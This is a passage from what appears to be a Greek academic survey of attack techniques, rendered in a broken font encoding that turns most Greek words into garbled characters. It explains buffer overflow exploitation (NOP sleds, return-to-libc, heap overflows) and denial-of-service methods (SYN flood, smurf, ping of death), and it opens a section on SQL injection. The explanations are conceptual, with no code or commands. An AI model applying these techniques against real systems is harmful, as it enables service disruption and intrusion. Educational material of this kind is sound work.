ηξνπνπνηήζεη ηε returnaddress, ώζηε λα δείρλεη ζε έλα δηθό ηνπ πξόγξακκα. Απηό ην 

πξόγξακκα ζα κπνξεί λα είλαη έλα shell πξόγξακκα, ην νπνίν ζηελ νπζία ζα 

δεκηνπξγήζεη έλα shell, κε ηα δηθαηώκαηα ηνπ δεκηνπξγνύ ηνπ πξνγξάκκαηνο. 

Μηα ζεκαληηθή επηινγή είλαη ην πνπ ζα απνζεθεύζεη ην πξόγξακκα ηνπ ν επηηηζέκελνο. 

Ο θιαζζηθόο ηξόπνο επίζεζεο βαζίδεηαη ζηελ απνζήθεπζε ηνπ πξνγξάκκαηνο 
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εθηέιεζεο εληόο ηεο ππεξρεηιηζκέλεο κλήκεο. Βάζε ηεο επίζεζεο απηήο. Ο ρξήζηεο 

θάπνπ ελδηάκεζα ζηελ είζνδν πνπ ζα δώζεη ζην πξόγξακκα ζα πξέπεη λα εηζάγεη θαη 

ηνλ θώδηθα εθκεηάιιεπζεο ηνπ πξνγξάκκαηνο. Σηε πεξίπησζε απηή, ν επηηηζέκελνο δελ 

ρξεηάδεηαη λα μέξεη ηελ αθξηβή δηεύζπλζε κλήκεο ηνπ ππεξρεηιηζκέλνπ Buffer, αιιά 

κπνξεί λα θάλεη ζρεηηθό άικα(JumpandCalltrick) από ηε returnaddress πξνο ηε 

δηεύζπλζε ηνπ Buffer. Γεδνκέλνπ όηη ε ζπλήζεο δνκή ελόο frame είλαη ζαλ θη απηή πνπ 

παξνπζηάδεηαη ζηελ εηθόλα , ην κόλν πξόβιεκα πνπ έρεη λα αληηκεησπίζεη ν 

επηηηζέκελνο, είλαη ν αθξηβήο ππνινγηζκόο ηεο ζρεηηθήο δηεύζπλζεο ηνπ buffer ζε ζρέζε 

κε ηε returnaddress. 

Έλα trick, ην νπνίν απμάλεη ηελ πηζαλόηεηα επηηπρίαο κηαο BO επίζεζεο είλαη ην 

―Nopsledtechnique‖, θαζώο επηηξέπεη ηελ επηηπρία κηαο επίζεζεο, αθόκε θαη αλ δελ είλαη 

γλσζηή κε αθξίβεηα ε δηεύζπλζε ηνπ buffer. 
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Βάζε ηεο παξαπάλσ ηερληθήο, ν επηηηζέκελνο, πξηλ ηελ ηνπνζέηεζε ηνπ θώδηθα 

εθκεηάιιεπζεο ηεο BO αδπλακίαο, εηζάγεη έλα ζύλνιν από εληνιέο NOP, ν αξηζκόο ησλ 

νπνίσλ εμαξηάηαη από ην δηαζέζηκν ρώξν. Οη εληνιέο NOP είλαη εληνιέο ηηο νπνίεο ν 

επεμεξγαζηήο ηηο ζεσξεί θελέο θαη ηηο μεπεξλάεη. Με ηνλ ηξόπν απηό, έζησ όηη ν 

επηηηζέκελνο ππνζέηεη όηη ε δηεύζπλζε ηνπ buffer είλαη ζηε δηεύζπλζε κλήκεο X θαη ην 

ζύλνιν ηνπ αξηζκνύ από εληνιέο NOPS πνπ έρεη εγθαηαζηήζεη είλαη Y, ηόηε ζηε 

returnaddress ζα βάιεη ηε δηεύζπλζε κλήκεο Φ+Y/2. 

Σηελ πεξίπησζε πνπ ε πξόβιεςε ηνπ επηηηζέκελνπ, όζνλ αθνξά ηε δηεύζπλζε ηνπ 

buffer ήηαλ ζσζηή, ηόηε ε returnaddress ζα ηνλ ζηε κέζε ησλ NOPS, ηα νπνία ζα ηα 

πξνζπεξάζεη ν επεμεξγαζηήο θαη ελ ηέιεη ζα εθηειέζεη ηνλ exploit θώδηθα. Αληίζεηα, αλ 

ε πξόβιεςε ηνπ επηηηζέκελνπ έρεη απόθιηζε κεηαμύ –Y/2 θαη Y/2, ε BO επίζεζε ζα 

ζηεθζεί επηηπρεκέλε. 

Έλα ηειεπηαίν optimizationtrick είλαη ε πξνζζήθε ηεο ηηκήο ηεο returnaddress 

παξαπάλσ από κία θνξά, ώζηε λα αληηκεησπηζηνύλ πξνβιήκαηα θαθνύ ππνινγηζκνύ 

ηεο ζρεηηθήο απόζηαζεο ηεο δηεύζπλζεο ηνπ returnaddress από ην buffer. Με ηνλ ηξόπν 
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απηό αληηκεησπίδεηαη θαη ε πεξίπησζε πνπ ε δνκή ηνπ stack είλαη δηαθνξεηηθή(πρ δελ 

ππάξρεη previousbasepointer, ππάξρεη πξηλ ηε returnaddress επηπξόζζεηε εηδηθή 

πιεξνθνξία, θηιπ). 

 

Δλαιιαθηηθοί Σύποη Δπηζέζεφλ 

 

● Return-to-libc attacks 

Οη επηζέζεηο απηέο είλαη παξόκνηεο κε ηηο επηζέζεηο πνπ πεξηγξάθεθαλ ζηε 

πξνεγνύκελε ελόηεηα κε ηε δηαθνξά όηη ν θώδηθαο εθκεηάιιεπζεο δελ ηνπνζεηείηαη ζηα 

πιαίζηα ησλ ππεξρεηιηζκέλσλ δεδνκέλσλ, αιιά ρξεζηκνπνηνύληαη έηνηκεο βηβιηνζήθεο 

ηνπ ζπζηήκαηνο. Δπνκέλσο ε δηεύζπλζε ηνπ returnaddress πξέπεη λα ηξνπνπνηεζεί κε 

ηέηνην ηξόπν, ώζηε λα δείρλεη ζηηο βηβιηνζήθεο απηέο. Οη βηβιηνζήθεο απηέο κπνξνύλ είηε 

λα είλαη πξν εγθαηεζηεκέλεο ζην ζύζηεκα είηε λα εγθαηαζηαζνύλ από ηνλ ίδην ηνλ 

ρξήζηε. Οη επηζέζεηο απηέο ρξεζηκνπνηείηε είηε όηαλ ν δηαζέζηκνο ρώξνο ζηε ζηνίβα 

είλαη αξθεηά κηθξόο, ώζηε λα γίλεη exploit βάζε ηεο πξνεγνύκελεο επίζεζεο, είηε ζηε 

πεξίπησζε ηεο non-executablestack, πνπ ζα αλαιπζεί παξαθάησ. 

 

● Heap  Overflows 

Πξόθεηηαη γηα bufferoverflows επηζέζεηο πνπ ιακβάλνπλ ρώξν ζην ζσξό θαη όρη ζηε 

ζηνίβα. Σην heap απνζεθεύνληαη δεδνκέλα, όπνπ δελ είλαη γλσζηό εθ ησλ πξνηέξσλ ην 

κέγεζνο ηνπο, όπσο είλαη ηα objects θαη νη δπλακηθνί πίλαθεο. Σηόρνο ησλ επηζέζεσλ 

απηήο ηεο θαηεγνξίαο είλαη ε εθκεηάιιεπζε BufferOverflow αδπλακηώλ ζην heap. Πην 

ζπγθεθξηκέλα, κέζσ ηεο ππεξρείιηζεο ελόο buffer, ζηόρνο είλαη ε ηξνπνπνίεζε ησλ 

functionpointers πνπ ππάξρνπλ ζηα objects(ζε αληίζεζε κε ηε returnaddress πνπ 

γηλόηαλ ζηα stackattacks). Δπνκέλσο όηαλ γίλεη θιήζε ηεο ζπλάξηεζεο πνπ δείρλεη ν 

pointer, ζα θαιεζηεί ν επηηηζέκελνο θώδηθαο. Γηα παξάδεηγκα ηα C++ objects πεξηέρνπλ 

έλα πίλαθα κε pointers ζηηο virtual ζπλαξηήζεηο ηνπο. 
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● Exploit Existed Pointers 

 

Μηα ηειεπηαία θαηεγνξία επηζέζεσλ είλαη ε εθκεηάιιεπζε ήδε ππαξρόλησλ δεηθηώλ ζε 

ζπλαξηήζεηο. Η επίζεζε απηή είλαη παξαπιήζηα ηεο Heapattack, αιιά ιακβάλεη ρώξα 

ζηε ζηνίβα. Βάζε ηεο επίζεζεο απηήο, ν επηηηζέκελνο αληί λα ηξνπνπνηήζεη ηε 

returnaddress, κπνξεί λα ηξνπνπνηήζεη ηε δηεύζπλζε πνπ δείρλεη έλα δείθηεο θαη 

επνκέλσο όηαλ θαιεζηεί ην πεξηερόκελν ηνπ αληίζηνηρνπ δείθηε, ζηελ νπζία ζα 

εθηειεζηεί ν exploit θώδηθαο. Η επίζεζε απηή ρξεζηκνπνηείηε γηα ηελ αληηκεηώπηζε ησλ 

Canaries, ηα νπνία πεξηγξάθνληαη παξαθάησ. 
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2.2 ΔΠΙΘΔ΢ΔΙ΢ ΑΡΝΗ΢Η΢ ΤΠΗΡΔ΢ΙΩΝ (DENIAL OF SERVICE ATTACKS, DOS 

ATTACKS) 

 

Δπηζέζεηο άξλεζεο εμππεξέηεζεο νλνκάδνληαη νη επηζέζεηο ελαληίνλ ελόο ππνινγηζηή ή 

ησλ πόξσλ ελόο δηθηύνπ, νη νπνίεο έρνπλ σο ζηόρν ηελ απνηξνπή ηεο ρξήζεο ελόο 

ζπζηήκαηνο από ηνπο λόκηκνπο ρξήζηεο. Γηα λα ην πεηύρνπλ απηό δελ γίλνληαη 

πξνζπάζεηεο παξαβίαζεο ή θινπήο ζηνηρείσλ από ην ζύζηεκα, αιιά ζηνρεύνπλ ζην λα 

θαηαζηήζνπλ ηνλ εμππεξεηεηή/έο ή ηελ ππεξεζία αλίθαλε λα δερηεί άιιεο ζπλδέζεηο θαη 

επνκέλσο λα κελ είλαη ζε ζέζε λα εμππεξεηήζεη λένπο πειάηεο. Η πιεηνςεθία ησλ 

επηζέζεσλ απηώλ ζηνρεύνπλ ζηελ θαηαλάισζε ησλ δηθηπαθώλ πόξσλ, σζηόζν 

ππάξρνπλ θαη νξηζκέλεο επηζέζεηο, νη νπνίεο απνζθνπνύλ θαη ζε άιινπο πόξνπο, όπσο 

είλαη ε CPU, ε κλήκε, ην bandwidth, θ.α. 

Οη επηζέζεηο άξλεζεο ππεξεζηώλ δηαθξίλνληαη ζε δύν κνξθέο. Η πξώηε κνξθή 

επηζέζεσλ είλαη απηή πνπ ζηνρεύεη ζηελ θαηάξξεπζε κηαο ππεξεζίαο, ην νπνίν ζα 

πξνθαιέζεη ηελ επαλεθθίλεζε ηεο ππεξεζίαο. Η δεύηεξε κνξθή επίζεζεο είλαη ε 

δεκηνπξγία ελόο κεγάινπ αξηζκνύ από πιαζηέο αηηήζεηο εμππεξέηεζεο, κε απνηέιεζκα 

λα ππεξθνξηώζεη ηελ ππεξεζία θαη λα ηελ θαηαζηήζεη αλίθαλε λα εμππεξεηήζεη λέεο 

αηηήζεηο. 

 

Πηγή: http://www.slideshare.net/ 

Υπάξρνπλ δύν ηύπνη επηζέζεσλ άξλεζεο ππεξεζηώλ, νη απιέο επηζέζεηο άξλεζεο 

ππεξεζηώλ(Dosattacks) θαη νη θαηαλεκεκέλεο επηζέζεηο άξλεζεο 

ππεξεζηώλ(DDOsattacks). Οη επηζέζεηο ηνπ πξώηνπ ηύπνπ έρνπλ σο πεγή επίζεζεο 
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έλαλ ππνινγηζηή, ελώ νη επηζέζεηο δεύηεξoπ ηύπνπ έρνπλ σο πεγή επίζεζεο έλα 

θαηαλεκεκέλν ζύλνιν από ππνινγηζηέο. 

 

2.2.1 IPSpoofing 

Η ηερληθή ηνπ IPspoofing είλαη κηα πνιύ ρξήζηκε ηερληθή γηα ηελ εθηέιεζε επηζέζεσλ 

άξλεζεο ππεξεζηώλ ζε ππεξεζίεο ηνπ δηαδηθηύνπ. Σύκθσλα κε ηελ ηερληθή απηή, ν 

επηηηζέκελνο ηξνπνπνηεί ηελ IP ηνπ ππνινγηζηή πνπ θάλεη κηα επίζεζεο άξλεζεο 

ππεξεζηώλ. Με ηνλ ηξόπν απηό αθελόο ν επηηηζέκελνο επηηπγράλεη λα δηαηεξήζεη ηελ 

ηαπηόηεηα ηνπ θξπθή, αθεηέξνπ ηνπ επηηξέπεη λα παξαθάκπηεη νξηζκέλεο κεζόδνπο 

αληηκεηώπηζεο DOS θαη DDOS επηζέζεσλ. Η ηερληθή απηή γίλεηαη ζπλήζσο από 

κεραλήκαηα πνπ ηξέρνπλ UNIXlike ιεηηνπξγηθό ζύζηεκα, θαζώο ηα ιεηηνπξγηθά απηά 

ζπζηήκαηα δίλνπλ κεγαιύηεξεο ειεπζεξίεο ζηνπο ρξήζηεο, ζε αληίζεζε κε θιεηζηά 

ιεηηνπξγηθά ζπζηήκαηα, όπσο είλαη ηα Windows[1]. 

 

Πηγή : http://en.wikipedia.org/wiki/SYN_flood 

2.2.2 Synflooding 

 

Τν SynFlood είλαη έλα είδνο επίζεζεο άξλεζεο ππεξεζηώλ. Τν πξσηόθνιιν SYN-ACK 

ή πξσηόθνιιν ηξηπιήο ρεηξαςίαο απνηειεί ηε βάζε θάζε έλαξμεο TCP ζύλδεζεο θαη 

επνκέλσο θάζε ζύλδεζεο ζην δηαδίθηπν. Όηαλ έλαο ππνινγηζηήο ζειήζεη λα αλνίμεη κηα 

TCP ζύλδεζε κε έλαλ άιιν ππνινγηζηή,  ηόηε αξρηθά ζα ζηείιεη έλα παθέην SYN 

(ζπγρξνληζκνύ). Όηαλ ν παξαιήπηεο ιάβεη ην παθέην SYN, ηόηε ζα απνθξηζεί κε έλα 
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παθέην SYN-ACK (ζπγρξνληζκνύ-επηβεβαίσζεο) θαη όηαλ ελ ηέιεη ην παθέην απηό 

θηάζεη ζηνλ εθθηλεηή ηεο ζύλδεζεο, ζα απαληήζεη απηόο κε ηε ζεηξά ηνπ κε έλα παθέην 

ACK (επηβεβαίσζεο).  Ο ππνινγηζηήο πνπ δέρεηαη ηελ αίηεζε γηα εθθίλεζε ζύλδεζεο, 

πξηλ απνθξηζεί ζηέιλνληαο παθέην SYN-ACK ζηνλ εθθηλεηή, ζα θξνληίζεη λα δεζκεύζεη 

ηνπο θαηάιιεινπο πόξνπο γηα ηελ θαζηέξσζε ηεο επηθνηλσλίαο, ε νπνία ζα γίλεη όηαλ 

ιάβεη ην παθέην ACK, κε ζηόρν ηελ αληαιιαγή δεδνκέλσλ κεηαμύ ησλ δύν 

ππνινγηζηώλ.  Ο ππνινγηζηήο είλαη ππνρξεσκέλνο λα πεξηκέλεη γηα θάπνην ρξνληθό 

δηάζηεκα ην ACK από ηνλ εθθηλεηή ηεο ζύλδεζεο, δεζκεύνληαο έλαο κέξνο ησλ 

δηαζέζηκσλ πόξσλ ηνπ. Δπεηδή νη πόξνη πνπ απαηηνύληαη γηα ηε δηαηήξεζε κηαο TCP 

επηθνηλσλίαο είλαη αξθεηνί, πξνθεηκέλνπ λα είλαη ζε ζέζε λα εθηειέζεη ηερληθέο, όπσο 

είλαη ην TCPcongestion, ην flowcontrol, θ.α.,  έλαο ππνινγηζηήο, κπνξεί λα ππνζηεξίμεη 

κέρξη έλα ζπγθεθξηκέλν αξηζκό ηαπηόρξνλσλ TCP ζπλδέζεσλ, Σε δηαθνξεηηθή 

πεξίπησζε,  ζε πεξίπησζε πνπ γίλνπλ αηηήζεηο γηα ηελ εθθίλεζε επηθνηλσλίαο κε έλα 

κεγάιν αξηζκό από ρξήζηεο, ππάξρεηκεγάιε πηζαλόηεηα ν ππνινγηζηήο λα κελ είλαη ζε 

ζέζε λα ιεηηνπξγήζεη νκαιά. 

 

 

Πηγή:http://en.wikipedia.org/wiki/SYN_flood 

Τνλ πεξηνξηζκό απηό ζα πξνζπαζήζεη λα εθκεηαιιεπηεί έλαο θαθόβνπινο ρξήζηεο, ν 

νπνίνο κέζσ ηεο επίζεζεο ηεο πιεκκύξαο κε κελύκαηα ζπγρξνληζκνύ, ζα 
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πξνζπαζήζεη λα θαηαζηήζεη ηνλ ππνινγηζηή-εμππεξεηεηή κηαο ππεξεζίαο αλίθαλν λα 

δερζεί αηηήζεηο από λένπο πειάηεο γηα ηελ παξνρή  ππεξεζηώλ.  Σηόρνο ηνπ 

θαθόβνπινπ ρξήζηε είλαη ε απνζηνιή ελόο ηεξάζηηνπ ζπλόινπ από SYN παθέηα, γηα ηα 

νπνία ν θαθόβνπινο ππνινγηζηήο δελ ζα απνθξηζεί γηα θαλέλα από απηά κε παθέηα 

SYN-ACK θαη απιά ζα ηεξκαηίζεη ηε ζύλδεζε. Με ηνλ ηξόπν απηό επηηπγράλεηαη ε 

δέζκεπζε ηόζσλ πόξσλ από ηελ πιεπξά ηνπ εμππεξεηεηή, έηζη ώζηε λα κελ είλαη 

πιένλ ζε ζέζε λα δερζεί λέεο αηηήζεηο γηα εθθίλεζε επηθνηλσλίαο από ηνπο λόκηκνπο 

ρξήζηεο. 

 

2.2.3 SynFlooding – IPSpoofing 

 

 Οη επηζέζεηο γείσζεο(LandAttacks) είλαη κηαο παξαιιαγή ηεο επίζεζεο SynFlood. 

Όπσο αλαθέξεηαη παξαπάλσ, ν ζηόρνο ηεο επίζεζεο SynFlood είλαη ε απνζηνιή 

παθέησλ SYN ζηνλ ππνινγηζηή εμππεξεηεηή κηαο εθαξκνγήο, κε ζηόρν ηελ 

θαηαλάισζε ησλ δηαζέζηκσλ πόξσλ ηνπ εμππεξεηεηή γηα ηελ απνδνρή TCP αηηήζεσλ 

γηα εθθίλεζε ζύλδεζεο. Οη επηζέζεηο γείσζεο ρξεζηκνπνηνύλ ηελ ηερληθή ηνπ IPspoofing 

θαη ηξνπνπνηνύλ ηελ IP ζην παθέην SYN, δίλνληαο ηελ IP δηεύζπλζε ηνπ ππνινγηζηή-

εμππεξεηεηή. Με ηνλ ηξόπν απηό αθελόο επηηπγράλεηαη ε δεκηνπξγία κηαο αηειείσηεο 

ζεηξάο(endlessloop) επεμεξγαζίαο ζην ζύζηεκα-ζηόρνο ηνπ θαθόβνπινπ ρξήζηε, ην 

νπνίν ζα νδεγήζεη ζηε θαηάξξεπζε ή ην πάγσκα ηνπ εμππεξεηεηή, αθεηέξνπ δε 

επηηπγράλεηαη ε δηαηήξεζε ηεο κπζηηθόηεηαο ηεο ηαπηόηεηαο  ηνπ θαθόβνπινπ ρξήζηε. 

Μηα δεύηεξε παξαιιαγή ηεο SynFlood επίζεζεο, ε νπνία ρξεζηκνπνηεί ηελ ηερληθή ηνπ 

IPSpoofing είλαη ε αιινίσζε ηεο IP δηεύζπλζεο ηνπ παθέηνπ SYN, κε κηα ηπραία IP, ε 

νπνία δηαθέξεη από παθέην ζε παθέην. Με ηνλ ηξόπν απηό επηηπγράλεηαη ε επίζεζεο 

κηαο θαηαλεκεκέλεο SYNFlood επίζεζεο, ε νπνία είλαη δπζθνιόηεξε λα αληηκεησπηζηεί, 

θαζώο είλαη δελ είλαη επάισηεο/(δελ είλαη αληηκεησπίζηκεο από) ζε νξηζκέλεο κεζόδνπο 

άκπλαο, νη νπνίεο αλαθέξνληαη ζε επόκελν θεθάιαην. Δπηπξόζζεηα, όπσο θαη ζηηο 

επηζέζεηο γείσζεο, έηζη θαη ζε απηέο ηηο επηζέζεηο επηηπγράλεηαη ε δηαηήξεζε ηεο 

κπζηηθήο ηαπηόηεηαο ηνπ επηηηζέκελνπ. Η επίζεζε απηή κπνξεί λα εθκεηαιιεπηεί ηελ 

ηερληθή ηνπ IPspoofing ώζηε λα δηαζθαιίζεη ηελ κπζηηθόηεηα ηεο ηαπηόηεηαο ηνπ 

επηηηζέκελνπ. 
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2.2.4 PingFlood 

 

Η επίζεζε πιεκκύξαο από κελύκαηα ping απνηειεί κηα κνξθή επίζεζεο άξλεζεο 

ππεξεζηώλ. Βάζε ηεο επίζεζεο απηήο, ν θαθόβνπινο ρξήζηεο αλαιακβάλεη ηελ ζπλερή 

απνζηνιή ελόο κεγάινπ ζπλόινπ από παθέηα PING. Τν PING απνηειεί κηα κέζνδνο 

εληνπηζκνύ ηεο δηαζεζηκόηεηαο θαη ηεο απόδνζεο ελόο απνκαθξπζκέλνπ δηαδηθηπαθνύ 

πόξνπ. Όηαλ έλαο ππνινγηζηήο ζηείιεη έλα κήλπκα PING ζε έλαλ άιιν ππνινγηζηή, ν 

ππνινγηζηήο απηόο ζα πξέπεη λα απνθξηζεί κε έλα κήλπκα ICMPEchoReply. 

 

Εικόνα : Καηανεμημένη Μαζική Αποζηολή Μηνσμάηων Ping 

Πηγή :http://tomicki.net/ping.flooding.php 

Σηόρνο ηεο επίζεζεο απηήο είλαη κέζσ ηεο απάληεζεο κε παθέην ICMPEchoReply ζε 

θάζε παθέην ping πνπ έρεη πξνεγνύκελν ιάβεη ν εμππεξεηεηήο-ζύκα, λα θαηαλαιώζεη 

όιν ην δηαζέζηκν εύξνο δώλεο, κε απνηέιεζκα λα θαηαζηεί πιένλ αλίθαλν λα 

ηθαλνπνηήζεη γηα θάπνην ρξνληθό δηάζηεκα ππεξεζίεο ζε λόκηκνπο ρξήζηεο. 

Πξνθεηκέλνπ λα επηηύρεη κηα ηέηνηα επίζεζε, ν εμππεξεηεηήο ππεξεζίαο ζα πξέπεη λα 

δηαζέηεη κηθξόηεξν bandwidth από ηνλ επηηηζέκελν. 

Μηα άιιε παξαιιαγή ηνπ PingFlood είλαη ε θαηαλεκεκέλε επίζεζε πιεκκύξαο από 

κελύκαηα PING. Βάζε ηεο επίζεζεο απηήο ν επηηηζέκελνο, ν νπνίνο έρεη ππό ηνλ έιεγρν 
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ηνπ έλα ζύλνιν από ππνινγηζηέο, ζηέιλεη από θάζε έλα ππνινγηζηή ζπλερόκελα 

παθέηα Ping ζην ζύκα. Με ηνλ ηξόπν απηό απμάλεηαη δξαζηηθά ε πηζαλόηεηα ν 

εμππεξεηεηήο λα ηεζεί αλίθαλνο, λα ηθαλνπνηήζεη αηηήκαηα λόκηκσλ ρξεζηώλ, δίρσο 

ηαπηόρξνλα λα απαηηείηαη από νπνηνλδήπνηε επηηηζέκελν ππνινγηζηή λα έρεη 

κεγαιύηεξν εύξνο δώλεο από ηνλ εμππεξεηεηή. 

Τν ζύλνιν από ηνπο επηηηζέκελνπο ππνινγηζηέο κπνξεί είηε λα αλήθεη εμνινθιήξνπ 

ζηνλ επηηηζέκελν, είηε κπνξεί λα απνηεινύλ κέξνο ελόο botnet θαη άζεια ηνπο λα 

ζπκκεηέρνπλ  ζηελ θαθόβνπιε επίζεζε πξνο έλαο εμππεξεηεηή. Οη επηζέζεηο ηνπ 

pingflood κπνξεί λα ρξεζηκνπνηήζνπλ ηελ ηερληθή ηνπ IPspoofing, πξνθεηκέλνπ αθελόο 

κελ λα πξνζηαηέςνπλ ηελ ηαπηόηεηα ηνπ επηηηζέκελνπ, αθεηέξνπ δε λα δηαζπάζνπλ 

νξηζκέλεο κνξθέο άκπλαο απέλαληη ζε επηζέζεηο άξλεζεο ππεξεζηώλ. 

 

Εικόνα: Παράδειγμα Επίθεζης 

Πηγή :http://ciscodocuments.blogspot.gr/2011/05/chapter-01-introduction-to-network_1117.html 

 

Μηα δεύηεξε παξαιιαγή ηεο επίζεζεο PingFlood είλαη ε επίζεζε SmurfAttack. Η 

επίζεζε απηή απνηειεί κηα κνξθή θαηαλεκεκέλεο επίζεζεο άξλεζεο ππεξεζηώλ . 

Σύκθσλα κε ηελ επίζεζε απηή, ν θαθόβνπινο ρξήζηεο εθπέκπεη έλα κήλπκα PING ζε 

έλα δίθηπν ππνινγηζηώλ, ρξεζηκνπνηώληαο ηελ IP δηεύζπλζε εθπνκπήο ηνπ δηαδηθηύνπ. 

Η επίζεζε απηή εθκεηαιιεύεηαη ηελ ηερληθή ηνπ IPSpoofing θαη έρεη ηξνπνπνηήζεη  ηελ IP 

δηεύζπλζε ηνπ απνζηνιέα ηνπ κελύκαηνο, θαη ηελ έρεη αληηθαηαζηήζεη κε ηελ IP ηνπ 

ππνινγηζηή ζύκα. Δπνκέλσο, όηαλ νη ππνινγηζηέο ηνπ δηαδηθηύνπ ιάβνπλ ην κήλπκα 
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PING, θάζε έλαο από απηνύο ζα απνθξηζεί κε έλα κήλπκα ICMPEchoReply ζηνλ 

παξαιήπηε. Ο παξαιήπηεο, ιόγσ ηεο ηερληθή ηνπ IPSpoofing, ζα είλαη ν ππνινγηζηήο 

ζύκα θαη επνκέλσο έλα κεγάινο αξηζκόο από κελύκαηα ζα θηάζνπλ ζηνλ ππνινγηζηή 

εμππεξεηεηή. Δπνκέλσο, κε ηνλ ηξόπν απηό ζα είλαη πηζαλόλ λα δεκηνπξγεζεί κεγάιε 

θίλεζε ζηελ πιεπξά ηνπ εμππεξεηεηή, ην νπνίν κπνξεί λα θαηαζηήζεη αδύλαην ηελ 

εμππεξέηεζε λέσλ αηηεκάησλ από ηνπο λόκηκνπο ρξήζηεο. Η επίζεζε απηή κπνξεί λα 

γίλεη πην επηθίλδπλε αλ ν επηηηζέκελνο ζηείιεη κήλπκα PING ζε παξαπάλσ από έλα 

ππνδίθηπα. 

 

2.2.5 PingOfDeath 

 

Τν ping ηνπ ζαλάηνπ είλαη κηα πνιύ δεκνθηιήο επίζεζε άξλεζεο ππεξεζηώλ. Ο ζηόρνο 

ηεο επίζεζεο απηήο είλαη ε δεκηνπξγία θαθνζρεκαηηζκέλσλ παθέησλ ping, πνπ έρνπλ 

σο παξαιήπηεο ηνλ ππνινγηζηή-ζηόρν ηνπ επηηηζέκελνπ, κε ζθνπό λα ηνλ ζέζεη εθηόο 

ιεηηνπξγία. 

 

Πηγή: http://xcessl0gycs.blogspot.gr/2012/06/ping-of-death-and-other-dos-network.html 

Έλα παθέην Ping είλαη ζπλήζσο κεγέζνπο 56 bytes ή 84 bytes, εάλ πξνζηεζεί θαη ε 

θεθαιίδα ηνπ πξσηνθόιινπ IP. Γεδνκέλνπ όηη αξθεηνί ππνινγηζηέο δελ είλαη ζε ζέζε λα 

δηαρεηξηζηνύλ θαηάιιεια παθέηα ping, ηα νπνία μεπεξλάλε ην κέγηζην κέγεζνο ελόο 

IPv4 παθέηνπ, ην νπνίν είλαη 65535bytes, ν ζηόρνο ησλ επηζέζεσλ ησλ pingofdeaths 

είλαη ε εθκεηάιιεπζε απηήο ηεο αδπλακίαο, κε ζηόρν ηελ o εμππεξεηεηήο λα κελ είλαη ζε 

ζέζε λα ηθαλνπνηήζεη λέα αηηήκαηα. 

 

Σύκθσλα κε ην πξσηόθνιιν ηνπ δηαδηθηύνπ απαγνξεύεηαη ε απνζηνιή παθέησλ ping 

κεγαιύηεξε ή ίζε ησλ 65536 bytes. Ψζηόζν έλαο ππνινγηζηήο κπνξεί λα εθκεηαιιεπζεί 
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ηελ ιεηηνπξγία ηεο ηεκάρηζεο δεδνκελνγξακκάησλ, κε ζηόρν ηελ επίηεπμε ηεο επίζεζεο 

ηνπ ping ηνπ ζαλάηνπ. Βάζε ηεο ηερληθήο ηεο datagramfragmentation, ην πξσηόθνιιν IP 

είλαη ζε ζέζε λα ηεκαρίζεη έλα παθέην ζε δύν ή πεξηζζόηεξα δεδνκελνγξάκκαηα, ζε 

πεξίπησζε πνπ ην αξρηθό δεδνκελόγξακκα είλαη αξθεηά κεγάιν έηζη ώζηε λα ρσξέζεη 

θαη λα πεξάζεη κέζα από κία δεύμε.  

 

Πηγή: http://www.slideshare.net/ 

 

Ο ηεκαρηζκόο ησλ δεδνκελνγξακκάησλ γίλεηαη κε ηέηνην ηξόπν, ώζηε ν ε ηεξκαηηθή 

ζπζθεπή ηνπ παξαιήπηε λα είλαη ζε ζέζε λα αλαθαηαζθεπάζεη ην αξρηθό 

δεδνκελόγξακκα. 

Τελ ηερληθή απηή κπνξεί λα εθκεηαιιεπζεί έλαο θαθόβνπινο ρξήζηεο, πξνθεηκέλνπ λα 

ζπλζέζεη έλα παθέην ping κεγέζνπο κεγαιύηεξνπ ηνπ 65535. Δπνκέλσο ν επηηηζέκελνο 

κπνξεί λα ζπάζεη ην παθέην ping ζε δύν ή πεξηζζόηεξα ηκήκαηα, κε ηέηνην ηξόπν ώζηε 

ν εμππεξεηεηήο λα ζεσξήζεη ηα παθέηα απηά απνηέιεζκα κηαο ηεκάρηζεο 

δεδνκελνγξακκάησλ θαη επνκέλσο λα ηα ζπλζέζεη θαη λα παξάγεη έλα παθέην ping 

κεγέζνπο κεγαιύηεξνπ ηνπ αλακελόκελνπ. Όηαλ ν εμππεξεηεηήο ζπλζέζεη ην παθέην 

ping, πηζαλόλ λα είλαη επάισηνο ζε BufferOverFlow επηζέζεηο. 
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2.3 SQLINJECTION 

 

Μηα από ηηο ζεκαληηθόηεξεο απεηιέο γηα ηελ αζθάιεηα ησλ εθαξκνγώλ ηζηνύ είλαη νη 

επηζέζεηο δειεηεξίαζεο SQL θώδηθα. Μηα εππάζεηα δειεηεξίαζεο SQL θώδηθα ππάξρεη 

όηαλ έλαο επηηηζέκελνο είλαη ζε ζέζε λα εηζάγεη κηα ζεηξά δειώζεσλ ζε έλα SQL 

εξώηεκα, παξαπνηώληαο ηα δεδνκέλα πνπ εηζάγεη ζε κηα εθαξκνγή ηζηνύ. Με ηνλ 

ηξόπν απηό ν ρξήζηεο κπνξεί είηε λα αλαθηήζεη απόξξεηεο πιεξνθνξίεο από ηε βάζε, 

είηε λα ηξνπνπνηήζεη παξάλνκα ηελ θαηάζηαζε ηεο βάζεο. 

Μηα εππαζήο εθαξκνγή ηζηνύ επηηξέπεη ζηνλ επηηηζέκελν λα έρεη πξόζβαζε ζηηο βάζεηο 

δεδνκέλσλ, λα κεηαβάιεη θαη λα δηαγξάςεη πιεξνθνξίεο, ή αθόκα λα ζέζεη ηελ 

εθαξκνγή εθηόο ιεηηνπξγίαο, πξνθαιώληαο ηεξάζηηα πξνβιήκαηα κε πνιύ κηθξή 

πξνζπάζεηα θαη ζηνηρεηώδεο ηερληθέο γλώζεηο. 

 

2.3.1 StructuredQueryLanguage 

Ορηζκός 

Γηα ηελ θαηαλόεζε ηεο επίζεζεο απηήο, αξρηθά ζα πξέπεη λα εμνηθεησζνύκε κε ηελ 

έλλνηα θαη ηε ρξήζε SQL.Ο όξνο SQL, πξνήιζε απ‘ ηα 

αξρηθά StructuredQueryLanguage ηα νπνία ζηελ ειιεληθή νξνινγία ζα κπνξνύζαλ 

λα κεηαθξαζηνύλ σο δνκεκέλε γιώζζα εξσηεκάησλ (ή αλαδήηεζεο). Πξόθεηηαη γηα κηα 

γιώζζα ππνινγηζηώλ ζηηο Βάζεηο Γεδνκέλσλ, πνπ ζρεδηάζηεθε γηα ηε δηαρείξηζε ησλ 

δεδνκέλσλ δηαρείξηζεο ζε έλα ζύζηεκα ζρεζηαθώλ βάζεσλ δεδνκέλσλ.  

Σε γεληθέο γξακκέο ε SQL καο δίλεη ηε δπλαηόηεηα ηεο δεκηνπξγίαο 

